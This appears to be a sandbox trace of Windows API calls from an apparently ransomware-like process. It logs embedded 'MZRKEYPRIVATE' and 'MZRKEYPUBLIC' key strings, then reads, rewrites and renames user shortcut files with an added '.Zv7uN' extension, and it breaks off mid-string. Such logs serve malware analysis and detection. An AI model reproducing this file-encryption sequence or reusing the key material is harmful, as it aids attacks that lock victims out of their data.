lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.722] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.724] GetCurrentThreadId () returned 0xa30 [0081.724] GetCurrentThreadId () returned 0xa30 [0081.724] GetCurrentThreadId () returned 0xa30 [0081.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.724] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.725] GetCurrentThreadId () returned 0xa30 [0081.725] GetCurrentThreadId () returned 0xa30 [0081.725] GetCurrentThreadId () returned 0xa30 [0081.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iDeZDB_thMy_znW.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\idezdb_thmy_znw.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.725] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.725] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.725] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x40b [0081.725] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.725] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x40b, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x40b, lpOverlapped=0x0) returned 1 [0081.727] CloseHandle (hObject=0x124) returned 1 [0081.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iDeZDB_thMy_znW.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\idezdb_thmy_znw.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.729] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x40b, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x40b, lpOverlapped=0x0) returned 1 [0081.730] CloseHandle (hObject=0x124) returned 1 [0081.733] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iDeZDB_thMy_znW.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\idezdb_thmy_znw.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iDeZDB_thMy_znW.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\idezdb_thmy_znw.flv.lnk.zv7un")) returned 1 [0081.734] GetCurrentThreadId () returned 0xa30 [0081.734] GetCurrentThreadId () returned 0xa30 [0081.734] GetCurrentThreadId () returned 0xa30 [0081.734] GetCurrentThreadId () returned 0xa30 [0081.734] GetCurrentThreadId () returned 0xa30 [0081.734] GetCurrentThreadId () returned 0xa30 [0081.734] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d143a20, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d737120, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d737120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9e1, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="ITkZucPgXtfuH72ld.lnk", cAlternateFileName="ITKZUC~1.LNK")) returned 1 [0081.734] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.734] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.735] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ITkZucPgXtfuH72ld.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\itkzucpgxtfuh72ld.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d143a20, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d737120, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d737120, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9e1)) returned 1 [0081.735] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ITkZucPgXtfuH72ld.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\itkzucpgxtfuh72ld.lnk")) returned 0x20 [0081.735] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ITkZucPgXtfuH72ld.lnk", dwFileAttributes=0x80) returned 1 [0081.737] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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